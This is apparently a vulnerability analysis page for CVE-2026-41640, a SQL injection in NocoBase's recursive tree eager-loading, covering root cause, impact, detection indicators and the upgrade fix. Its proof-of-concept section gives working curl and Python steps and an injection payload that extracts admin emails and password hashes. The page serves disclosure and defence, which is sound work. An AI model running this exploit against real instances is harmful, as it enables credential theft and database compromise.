CVE-2026-41640: 
JavaScript vulnerability analysis and mitigation

CVE-2026-41640 is a SQL injection vulnerability in NocoBase, an AI-powered no-code/low-code platform, affecting the @nocobase/database core package. The flaw exists in the queryParentSQL() function, which constructs recursive CTE queries using string concatenation rather than parameterized queries, allowing authenticated attackers with record-creation permissions to inject arbitrary SQL. All versions up to and including 2.0.32 are confirmed affected; the issue was patched in version 2.0.39. It carries a CVSS v3.1 base score of 8.8 (High) per NVD, or 7.5 (High) per the GitHub Security Advisory (GitHub Advisory, Feedly).

The root cause (CWE-89) is in packages/core/database/src/eager-loading/eager-loading-tree.ts (lines 59–84), where nodeIds — primary key values read from database rows — are joined via JavaScript string concatenation (nodeIds.join("','")), directly interpolated into a WITH RECURSIVE cte AS (...) SQL query without sanitization or parameterization. An attacker creates a tree/adjacency-list collection with a string-type primary key, then inserts a record whose id value contains a SQL injection payload (e.g., root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1). When any subsequent API request triggers recursive eager loading on that collection (e.g., GET /api/vuln_tree:list?appends[]=parent(recursively=true)), the malicious primary key is interpolated into the CTE, executing the injected SQL. An identical concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124 for scoped sort initialization (GitHub Advisory, Fix PR).

Successful exploitation enables error-based extraction of any database value, with confirmed exfiltration of admin email addresses and password hashes (e.g., admin@nocobase.com and its bcrypt hash) from the users table. Depending on database user privileges, attackers may also perform INSERT, UPDATE, or DELETE operations via stacked queries, compromising data integrity. On PostgreSQL instances running with superuser privileges, COPY ... TO PROGRAM can be leveraged to achieve OS-level command execution, extending the blast radius beyond the database. All tree/adjacency-list collections with string-type primary keys are affected (GitHub Advisory).

A detailed, working proof-of-concept exploit using curl and Python is publicly documented in the GitHub Security Advisory, including step-by-step commands that successfully extracted admin credentials from a live NocoBase v2.0.32 + PostgreSQL 16.13 instance. The exploit requires only low-privilege authenticated access (any user with record-creation permission on a tree collection). Nuclei templates for automated detection were added to the ProjectDiscovery nuclei-templates repository shortly after disclosure. The EPSS score is approximately 0.042 (4.2%), and no CISA KEV listing has been identified at this time (GitHub Advisory, Feedly).

1. Authenticate: Obtain a valid API token for any NocoBase account with record-creation permissions on tree collections.
2. Create a vulnerable collection: Use the API to create a tree collection with a string-type primary key:

curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[{"name":"id","type":"string","primaryKey":true,"interface":"input"},{"name":"title","type":"string","interface":"input"},{"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},{"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}]}'

3. Insert a benign root record: Create a normal root record (id: "root") to anchor the tree structure.
4. Insert the injection payload as a record ID: Create a record whose id field contains the SQL injection string:

import requests
headers = {'Authorization': 'Bearer TOKEN', 'Content-Type': 'application/json'}
payload_id = "root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': 'child', 'title': 'c', 'parentId': payload_id})

5. Trigger recursive eager loading: Issue a list request that appends the recursive parent association:

r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers, params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(r.json())

6. Extract data from error response: The server returns a 500 error whose message contains the exfiltrated value, e.g., "invalid input syntax for type integer: \"admin@nocobase.com\"". Repeat with different subqueries (e.g., SELECT password FROM users) to dump additional data (GitHub Advisory).

• Network: Unusual API requests to /api/collections:create creating tree collections with string primary keys from non-administrative accounts; subsequent GET /api/<collection>:list requests with appends[]=parent(recursively=true) query parameters from the same source IP.
• Logs: HTTP 500 error responses containing messages like invalid input syntax for type integer: "<email>" or "<hash>" in application logs, indicating error-based SQL injection data exfiltration; repeated API calls to :create endpoints with unusually long or special-character-containing id field values.
• Database: Unexpected recursive CTE queries (WITH RECURSIVE cte AS) in database query logs containing UNION ALL SELECT CAST(... AS integer) patterns or other anomalous subqueries; queries referencing the users table from application-level database users.
• File System (PostgreSQL superuser scenario): New files created via COPY ... TO PROGRAM or unexpected OS processes spawned by the PostgreSQL service account (GitHub Advisory).

Upgrade NocoBase to version 2.0.39 or later, which replaces string concatenation with parameterized bind variables in both eager-loading-tree.ts and plugin-field-sort/src/server/sort-field.ts. The fix was merged via PR #9133 on April 17, 2026, and released in v2.0.39 on April 18, 2026. As a temporary workaround where upgrading is not immediately possible, restrict record-creation permissions on tree collections with string-type primary keys to trusted administrators only, and consider validating or rejecting primary key values containing SQL metacharacters (', ", ;, --) at the application layer (NocoBase Release, Fix PR).

The vulnerability was reported by researcher p80n-sec and disclosed via GitHub Security Advisory GHSA-4948-f92q-f432 on April 18, 2026. The NocoBase maintainer 2013xile acknowledged and patched the issue the same day. Nuclei templates for automated scanning were added to the ProjectDiscovery repository within days of disclosure, indicating rapid community uptake. Social media posts on Bluesky noted the CVE shortly after NVD publication (GitHub Advisory, Feedly).